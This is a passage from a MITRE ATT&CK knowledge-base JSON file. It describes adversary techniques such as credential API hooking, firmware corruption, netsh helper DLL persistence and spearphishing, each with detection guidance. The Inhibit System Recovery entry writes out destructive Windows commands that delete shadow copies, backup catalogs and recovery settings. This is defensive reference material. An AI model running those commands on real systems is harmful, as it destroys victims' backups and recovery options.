"2021-04-15T03:14:01.255Z", "name": "Exploits", "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T21:51:44.851Z", "name": "Modify Authentication Process", "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Chris Ross @xorrior"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to <code>OpenProcess</code> that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The <code>Store passwords using reversible encryption</code> configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of <code>-AllowReversiblePasswordEncryption $true</code>, <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS", "Network", "Azure AD", "Google Workspace", "IaaS", "Office 365", "SaaS"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["Application Log: Application Log Content", "Process: Process Access", "Logon Session: Logon Session Creation", "Active Directory: Active Directory Object Modification", "User Account: User Account Authentication", "Process: OS API Execution", "Windows Registry: Windows Registry Key Creation", "File: File Creation", "User Account: User Account Modification", "File: File Modification", "Module: Module Load", "Cloud Service: Cloud Service Modification", "Windows Registry: Windows Registry Key Modification"], "type": "attack-pattern", "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "created": "2020-02-11T19:01:56.887Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1556", "external_id": "T1556"}, {"source_name": "Clymb3r Function Hook Passwords Sept 2013", "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"}, {"source_name": "Xorrior Authorization Plugins", "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.", "url": "https://xorrior.com/persistent-credential-theft/"}, {"source_name": "Dell Skeleton", "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"}, {"source_name": "dump_pwd_dcsync", "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.", "url": "https://adsecurity.org/?p=2053"}, {"source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "type": "attack-pattern", "created": "2020-02-11T19:01:15.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1056.004", "url": "https://attack.mitre.org/techniques/T1056/004"}, {"source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017", "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.", "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", "source_name": "Microsoft Hook Overview"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", "source_name": "Adlice Software IAT Hooks Oct 2014"}, {"url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", "source_name": "MWRInfoSecurity Dynamic Hooking 2015"}, {"url": "https://www.exploit-db.com/docs/17802.pdf", "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.", "source_name": "HighTech Bridge Inline Hooking Sept 2011"}, {"url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", "source_name": "Volatility Detecting Hooks Sept 2012"}, {"url": "https://github.com/prekageo/winhook", "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", "source_name": "PreKageo Winhook Jul 2011"}, {"url": "https://github.com/jay/gethooks", "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", "source_name": "Jay GetHooks Sept 2011"}, {"url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/", "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", "source_name": "Zairon Hooking Dec 2006"}, {"url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/", "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", "source_name": "EyeofRa Detecting Hooking June 2017"}, {"url": "http://www.gmer.net/", "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", "source_name": "GMER Rootkits"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx", "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", "source_name": "Microsoft Process Snapshot"}, {"url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis", "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", "source_name": "StackExchange Hooks Jul 2012"}], "modified": "2020-11-10T18:29:31.138Z", "name": "Credential API Hooking", "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}, {"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Metadata", "Process: OS API Execution"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", "created": "2019-04-12T18:28:15.451Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "T1495", "url": "https://attack.mitre.org/techniques/T1495"}, {"source_name": "cisa_malware_orgs_ukraine", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", "description": "CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022."}, {"source_name": "dhs_threat_to_net_devices", "url": "https://cyber.dhs.gov/assets/report/ar-16-20173.pdf", "description": "U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022."}, {"source_name": "MITRE Trustworthy Firmware Measurement", "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016."}, {"source_name": "Symantec Chernobyl W95.CIH", "url": "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99", "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). ", "modified": "2022-08-31T17:30:05.440Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Firmware Corruption", "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Firmware: Firmware Modification"], "x_mitre_impact_type": ["Availability"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-12T02:30:08.379Z", "name": "Inhibit System Recovery", "description": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["Yonatan Gotlib, Deep Instinct", "Austin Clark, @c2defense", "Pallavi Sivakumaran, WithSecure", "Joey Lei", "Harjot Shah Singh"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of <code>HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage</code>).\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux", "Network", "IaaS", "Containers"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Cloud Storage: Cloud Storage Deletion", "Command: Command Execution", "Service: Service Metadata", "Snapshot: Snapshot Deletion", "File: File Deletion"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "created": "2019-04-02T13:54:43.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1490", "external_id": "T1490"}, {"source_name": "Dark Reading Code Spaces Cyber Attack", "description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.", "url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack"}, {"source_name": "FireEye WannaCry 2017", "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"}, {"source_name": "Talos Olympic Destroyer 2018", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}, {"source_name": "Diskshadow", "description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.", "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"}, {"source_name": "Crytox Ransomware", "description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.", "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware"}, {"source_name": "Rhino Security Labs AWS S3 Ransomware", "description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.", "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"}, {"source_name": "ZDNet Ransomware Backups 2020", "description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.", "url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"}, {"source_name": "disable_notif_synology_ransom", "description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved October 19, 2022.", "url": "https://twitter.com/TheDFIRReport/status/1498657590259109894"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matthew Demaske, Adaptforward"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", "created": "2020-01-24T14:26:51.207Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.007", "url": "https://attack.mitre.org/techniques/T1546/007"}, {"source_name": "Demaske Netsh Persistence", "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017."}, {"source_name": "TechNet Netsh", "url": "https://technet.microsoft.com/library/bb490939.aspx", "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017."}, {"source_name": "Github Netsh Helper CS Beacon", "url": "https://github.com/outflankbv/NetshHelperBeacon", "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", "modified": "2022-04-20T17:09:17.363Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Netsh Helper DLL", "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "Windows Registry: Windows Registry Key Modification", "Module: Module Load", "Process: Process Creation"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-31T14:15:55.690Z", "name": "Spearphishing via Service", "description": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_deprecated": false, "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Application Log: Application Log Content", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "created": "2020-03-02T19:24:00.951Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1566/003", "external_id": "T1566.003"}, {"source_name": "Lookout Dark Caracal Jan 2018", "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-07T14:29:02.408Z", "name": "Internal Proxy", "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "created": "2020-03-14T23:08:20.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1090/001", "external_id": "T1090.001"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and 